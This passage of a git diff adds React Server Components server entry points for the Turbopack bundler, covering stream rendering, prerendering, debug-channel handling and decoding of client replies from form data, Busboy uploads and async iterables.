+      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))
+      : readPartialStringChunk(stringDecoder, buffer);
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+    if (done) {
+      closeDebugChannel(request);
+      return;
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: e,
+      }),
+    );
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function renderToReadableStream(
+  model: ReactClientValue,
+  turbopackMap: ClientManifest,
+  options?: Options,
+): ReadableStream {
+  const debugChannelReadable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.readable
+      : undefined;
+  const debugChannelWritable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.writable
+      : undefined;
+  const request = createRequest(
+    model,
+    turbopackMap,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  if (options && options.signal) {
+    const signal = options.signal;
+    if (signal.aborted) {
+      abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (debugChannelWritable !== undefined) {
+    const debugStream = new ReadableStream(
+      {
+        type: 'bytes',
+        pull: (controller): ?Promise<void> => {
+          startFlowingDebug(request, controller);
+        },
+      },
+      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+      {highWaterMark: 0},
+    );
+    debugStream.pipeTo(debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);
+  }
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, controller);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+type StaticResult = {
+  prelude: ReadableStream,
+};
+
+function prerender(
+  model: ReactClientValue,
+  turbopackMap: ClientManifest,
+  options?: Options,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, controller);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      turbopackMap,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function decodeReply<T>(
+  body: string | FormData,
+  turbopackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    turbopackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+export {
+  renderToReadableStream,
+  prerender,
+  decodeReply,
+  decodeAction,
+  decodeFormState,
+};
diff --git a/packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerEdge.js b/packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerEdge.js
new file mode 100644
index 000000000000..18e71fdeab6c
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerEdge.js
@@ -0,0 +1,329 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {Thenable} from 'shared/ReactTypes';
+import type {ClientManifest} from './ReactFlightServerConfigTurbopackBundler';
+import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
+
+import {ASYNC_ITERATOR} from 'shared/ReactSymbols';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  close,
+  getRoot,
+  reportGlobalError,
+  resolveField,
+  resolveFile,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction,
+  decodeFormState,
+} from 'react-server/src/ReactFlightActionServer';
+
+export {
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+} from '../ReactFlightTurbopackReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigWeb';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+type Options = {
+  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  identifierPrefix?: string,
+  signal?: AbortSignal,
+  temporaryReferences?: TemporaryReferenceSet,
+  onError?: (error: mixed) => void,
+  startTime?: number,
+};
+
+function startReadingFromDebugChannelReadableStream(
+  request: Request,
+  stream: ReadableStream,
+): void {
+  const reader = stream.getReader();
+  const stringDecoder = createStringDecoder();
+  let stringBuffer = '';
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    const buffer: Uint8Array = (value: any);
+    stringBuffer += done
+      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))
+      : readPartialStringChunk(stringDecoder, buffer);
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+    if (done) {
+      closeDebugChannel(request);
+      return;
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: e,
+      }),
+    );
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function renderToReadableStream(
+  model: ReactClientValue,
+  turbopackMap: ClientManifest,
+  options?: Options,
+): ReadableStream {
+  const debugChannelReadable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.readable
+      : undefined;
+  const debugChannelWritable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.writable
+      : undefined;
+  const request = createRequest(
+    model,
+    turbopackMap,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  if (options && options.signal) {
+    const signal = options.signal;
+    if (signal.aborted) {
+      abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (debugChannelWritable !== undefined) {
+    const debugStream = new ReadableStream(
+      {
+        type: 'bytes',
+        pull: (controller): ?Promise<void> => {
+          startFlowingDebug(request, controller);
+        },
+      },
+      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+      {highWaterMark: 0},
+    );
+    debugStream.pipeTo(debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);
+  }
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, controller);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+type StaticResult = {
+  prelude: ReadableStream,
+};
+
+function prerender(
+  model: ReactClientValue,
+  turbopackMap: ClientManifest,
+  options?: Options,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, controller);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      turbopackMap,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function decodeReply<T>(
+  body: string | FormData,
+  turbopackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    turbopackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+function decodeReplyFromAsyncIterable<T>(
+  iterable: AsyncIterable<[string, string | File]>,
+  turbopackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const iterator: AsyncIterator<[string, string | File]> =
+    iterable[ASYNC_ITERATOR]();
+
+  const response = createResponse(
+    turbopackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+
+  function progress(
+    entry:
+      | {done: false, +value: [string, string | File], ...}
+      | {done: true, +value: void, ...},
+  ) {
+    if (entry.done) {
+      close(response);
+    } else {
+      const [name, value] = entry.value;
+      if (typeof value === 'string') {
+        resolveField(response, name, value);
+      } else {
+        resolveFile(response, name, value);
+      }
+      iterator.next().then(progress, error);
+    }
+  }
+  function error(reason: Error) {
+    reportGlobalError(response, reason);
+    if (typeof (iterator: any).throw === 'function') {
+      // The iterator protocol doesn't necessarily include this but a generator do.
+      // $FlowFixMe should be able to pass mixed
+      iterator.throw(reason).then(error, error);
+    }
+  }
+
+  iterator.next().then(progress, error);
+
+  return getRoot(response);
+}
+
+export {
+  renderToReadableStream,
+  prerender,
+  decodeReply,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+};
diff --git a/packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerNode.js b/packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerNode.js
new file mode 100644
index 000000000000..5381072b3ad8
--- /dev/null
+++ b/packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerNode.js
@@ -0,0 +1,715 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {Destination} from 'react-server/src/ReactServerStreamConfigNode';
+import type {ClientManifest} from './ReactFlightServerConfigTurbopackBundler';
+import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
+import type {Busboy} from 'busboy';
+import type {Writable} from 'stream';
+import type {Thenable} from 'shared/ReactTypes';
+
+import type {Duplex} from 'stream';
+
+import {Readable} from 'stream';
+
+import {ASYNC_ITERATOR} from 'shared/ReactSymbols';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  reportGlobalError,
+  close,
+  resolveField,
+  resolveFile,
+  resolveFileInfo,
+  resolveFileChunk,
+  resolveFileComplete,
+  getRoot,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction,
+  decodeFormState,
+} from 'react-server/src/ReactFlightActionServer';
+
+export {
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+} from '../ReactFlightTurbopackReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigNode';
+
+import {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+function createDrainHandler(destination: Destination, request: Request) {
+  return () => startFlowing(request, destination);
+}
+
+function createCancelHandler(request: Request, reason: string) {
+  return () => {
+    stopFlowing(request);
+    abort(request, new Error(reason));
+  };
+}
+
+function startReadingFromDebugChannelReadable(
+  request: Request,
+  stream: Readable | WebSocket,
+): void {
+  const stringDecoder = createStringDecoder();
+  let lastWasPartial = false;
+  let stringBuffer = '';
+  function onData(chunk: string | Uint8Array) {
+    if (typeof chunk === 'string') {
+      if (lastWasPartial) {
+        stringBuffer += readFinalStringChunk(stringDecoder, new Uint8Array(0));
+        lastWasPartial = false;
+      }
+      stringBuffer += chunk;
+    } else {
+      const buffer: Uint8Array = (chunk: any);
+      stringBuffer += readPartialStringChunk(stringDecoder, buffer);
+      lastWasPartial = true;
+    }
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+  }
+  function onError(error: mixed) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: error,
+      }),
+    );
+  }
+  function onClose() {
+    closeDebugChannel(request);
+  }
+  if (
+    // $FlowFixMe[method-unbinding]
+    typeof stream.addEventListener === 'function' &&
+    // $FlowFixMe[method-unbinding]
+    typeof stream.binaryType === 'string'
+  ) {
+    const ws: WebSocket = (stream: any);
+    ws.binaryType = 'arraybuffer';
+    ws.addEventListener('message', event => {
+      // $FlowFixMe
+      onData(event.data);
+    });
+    ws.addEventListener('error', event => {
+      // $FlowFixMe
+      onError(event.error);
+    });
+    ws.addEventListener('close', onClose);
+  } else {
+    const readable: Readable = (stream: any);
+    readable.on('data', onData);
+    readable.on('error', onError);
+    readable.on('end', onClose);
+  }
+}
+
+type Options = {
+  debugChannel?: Readable | Writable | Duplex | WebSocket,
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  onError?: (error: mixed) => void,
+  identifierPrefix?: string,
+  temporaryReferences?: TemporaryReferenceSet,
+  startTime?: number,
+};
+
+type PipeableStream = {
+  abort(reason: mixed): void,
+  pipe<T: Writable>(destination: T): T,
+};
+
+function renderToPipeableStream(
+  model: ReactClientValue,
+  turbopackMap: ClientManifest,
+  options?: Options,
+): PipeableStream {
+  const debugChannel = __DEV__ && options ? options.debugChannel : undefined;
+  const debugChannelReadable: void | Readable | WebSocket =
+    __DEV__ &&
+    debugChannel !== undefined &&
+    // $FlowFixMe[method-unbinding]
+    (typeof debugChannel.read === 'function' ||
+      typeof debugChannel.readyState === 'number')
+      ? (debugChannel: any)
+      : undefined;
+  const debugChannelWritable: void | Writable =
+    __DEV__ && debugChannel !== undefined
+      ? // $FlowFixMe[method-unbinding]
+        typeof debugChannel.write === 'function'
+        ? (debugChannel: any)
+        : // $FlowFixMe[method-unbinding]
+          typeof debugChannel.send === 'function'
+          ? createFakeWritableFromWebSocket((debugChannel: any))
+          : undefined
+      : undefined;
+  const request = createRequest(
+    model,
+    turbopackMap,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  let hasStartedFlowing = false;
+  startWork(request);
+  if (debugChannelWritable !== undefined) {
+    startFlowingDebug(request, debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadable(request, debugChannelReadable);
+  }
+  return {
+    pipe<T: Writable>(destination: T): T {
+      if (hasStartedFlowing) {
+        throw new Error(
+          'React currently only supports piping to one writable stream.',
+        );
+      }
+      hasStartedFlowing = true;
+      startFlowing(request, destination);
+      destination.on('drain', createDrainHandler(destination, request));
+      destination.on(
+        'error',
+        createCancelHandler(
+          request,
+          'The destination stream errored while writing data.',
+        ),
+      );
+      // We don't close until the debug channel closes.
+      if (!__DEV__ || debugChannelReadable === undefined) {
+        destination.on(
+          'close',
+          createCancelHandler(request, 'The destination stream closed early.'),
+        );
+      }
+      return destination;
+    },
+    abort(reason: mixed) {
+      abort(request, reason);
+    },
+  };
+}
+
+function createFakeWritableFromWebSocket(webSocket: WebSocket): Writable {
+  return ({
+    write(chunk: string | Uint8Array) {
+      webSocket.send((chunk: any));
+      return true;
+    },
+    end() {
+      webSocket.close();
+    },
+    destroy(reason) {
+      if (typeof reason === 'object' && reason !== null) {
+        reason = reason.message;
+      }
+      if (typeof reason === 'string') {
+        webSocket.close(1011, reason);
+      } else {
+        webSocket.close(1011);
+      }
+    },
+  }: any);
+}
+
+function createFakeWritableFromReadableStreamController(
+  controller: ReadableStreamController,
+): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      if (typeof chunk === 'string') {
+        chunk = textEncoder.encode(chunk);
+      }
+      controller.enqueue(chunk);
+      // in web streams there is no backpressure so we can always write more
+      return true;
+    },
+    end() {
+      controller.close();
+    },
+    destroy(error) {
+      // $FlowFixMe[method-unbinding]
+      if (typeof controller.error === 'function') {
+        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.
+        controller.error(error);
+      } else {
+        controller.close();
+      }
+    },
+  }: any);
+}
+
+function startReadingFromDebugChannelReadableStream(
+  request: Request,
+  stream: ReadableStream,
+): void {
+  const reader = stream.getReader();
+  const stringDecoder = createStringDecoder();
+  let stringBuffer = '';
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    const buffer: Uint8Array = (value: any);
+    stringBuffer += done
+      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))
+      : readPartialStringChunk(stringDecoder, buffer);
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+    if (done) {
+      closeDebugChannel(request);
+      return;
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: e,
+      }),
+    );
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function renderToReadableStream(
+  model: ReactClientValue,
+  turbopackMap: ClientManifest,
+  options?: Omit<Options, 'debugChannel'> & {
+    debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},
+    signal?: AbortSignal,
+  },
+): ReadableStream {
+  const debugChannelReadable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.readable
+      : undefined;
+  const debugChannelWritable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.writable
+      : undefined;
+  const request = createRequest(
+    model,
+    turbopackMap,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  if (options && options.signal) {
+    const signal = options.signal;
+    if (signal.aborted) {
+      abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (debugChannelWritable !== undefined) {
+    let debugWritable: Writable;
+    const debugStream = new ReadableStream(
+      {
+        type: 'bytes',
+        start: (controller): ?Promise<void> => {
+          debugWritable =
+            createFakeWritableFromReadableStreamController(controller);
+        },
+        pull: (controller): ?Promise<void> => {
+          startFlowingDebug(request, debugWritable);
+        },
+      },
+      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+      {highWaterMark: 0},
+    );
+    debugStream.pipeTo(debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);
+  }
+  let writable: Writable;
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        writable = createFakeWritableFromReadableStreamController(controller);
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, writable);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+function createFakeWritableFromNodeReadable(readable: any): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      return readable.push(chunk);
+    },
+    end() {
+      readable.push(null);
+    },
+    destroy(error) {
+      readable.destroy(error);
+    },
+  }: any);
+}
+
+type PrerenderOptions = {
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  onError?: (error: mixed) => void,
+  identifierPrefix?: string,
+  temporaryReferences?: TemporaryReferenceSet,
+  signal?: AbortSignal,
+  startTime?: number,
+};
+
+type StaticResult = {
+  prelude: Readable,
+};
+
+function prerenderToNodeStream(
+  model: ReactClientValue,
+  turbopackMap: ClientManifest,
+  options?: PrerenderOptions,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const readable: Readable = new Readable({
+        read() {
+          startFlowing(request, writable);
+        },
+      });
+      const writable = createFakeWritableFromNodeReadable(readable);
+      resolve({prelude: readable});
+    }
+
+    const request = createPrerenderRequest(
+      model,
+      turbopackMap,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function prerender(
+  model: ReactClientValue,
+  turbopackMap: ClientManifest,
+  options?: Options & {
+    signal?: AbortSignal,
+  },
+): Promise<{
+  prelude: ReadableStream,
+}> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      let writable: Writable;
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          start: (controller): ?Promise<void> => {
+            writable =
+              createFakeWritableFromReadableStreamController(controller);
+          },
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, writable);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      turbopackMap,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function decodeReplyFromBusboy<T>(
+  busboyStream: Busboy,
+  turbopackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const response = createResponse(
+    turbopackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+  let pendingFiles = 0;
+  const queuedFields: Array<string> = [];
+  busboyStream.on('field', (name, value) => {
+    if (pendingFiles > 0) {
+      // Because the 'end' event fires two microtasks after the next 'field'
+      // we would resolve files and fields out of order. To handle this properly
+      // we queue any fields we receive until the previous file is done.
+      queuedFields.push(name, value);
+    } else {
+      try {
+        resolveField(response, name, value);
+      } catch (error) {
+        busboyStream.destroy(error);
+      }
+    }
+  });
+  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {
+    if (encoding.toLowerCase() === 'base64') {
+      busboyStream.destroy(
+        new Error(
+          "React doesn't accept base64 encoded file uploads because we don't expect " +
+            "form data passed from a browser to ever encode data that way. If that's " +
+            'the wrong assumption, we can easily fix it.',
+        ),
+      );
+      return;
+    }
+    pendingFiles++;
+    const file = resolveFileInfo(response, name, filename, mimeType);
+    value.on('data', chunk => {
+      resolveFileChunk(response, file, chunk);
+    });
+    value.on('end', () => {
+      try {
+        resolveFileComplete(response, name, file);
+        pendingFiles--;
+        if (pendingFiles === 0) {
+          // Release any queued fields
+          for (let i = 0; i < queuedFields.length; i += 2) {
+            resolveField(response, queuedFields[i], queuedFields[i + 1]);
+          }
+          queuedFields.length = 0;
+        }
+      } catch (error) {
+        busboyStream.destroy(error);
+      }
+    });
+  });
+  busboyStream.on('finish', () => {
+    close(response);
+  });
+  busboyStream.on('error', err => {
+    reportGlobalError(
+      response,
+      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible
+      err,
+    );
+  });
+  return getRoot(response);
+}
+
+function decodeReply<T>(
+  body: string | FormData,
+  turbopackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    turbopackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+function decodeReplyFromAsyncIterable<T>(
+  iterable: AsyncIterable<[string, string | File]>,
+  turbopackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const iterator: AsyncIterator<[string, string | File]> =
+    iterable[ASYNC_ITERATOR]();
+
+  const response = createResponse(
+    turbopackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+
+  function progress(
+    entry:
+      | {done: false, +value: [string, string | File], ...}
+      | {done: true, +value: void, ...},
+  ) {
+    if (entry.done) {
+      close(response);
+    } else {
+      const [name, value] = entry.value;
+      if (typeof value === 'string') {
+        resolveField(response, name, value);
+      } else {
+        resolveFile(response, name, value);
+      }
+      iterator.next().then(progress, error);
+    }
+  }
+  function error(reason: Error) {
+    reportGlobalError(response, reason);
+    if (typeof (iterator: any).throw === 'function') {
+      // The iterator protocol doesn't necessarily include this but a generator do.
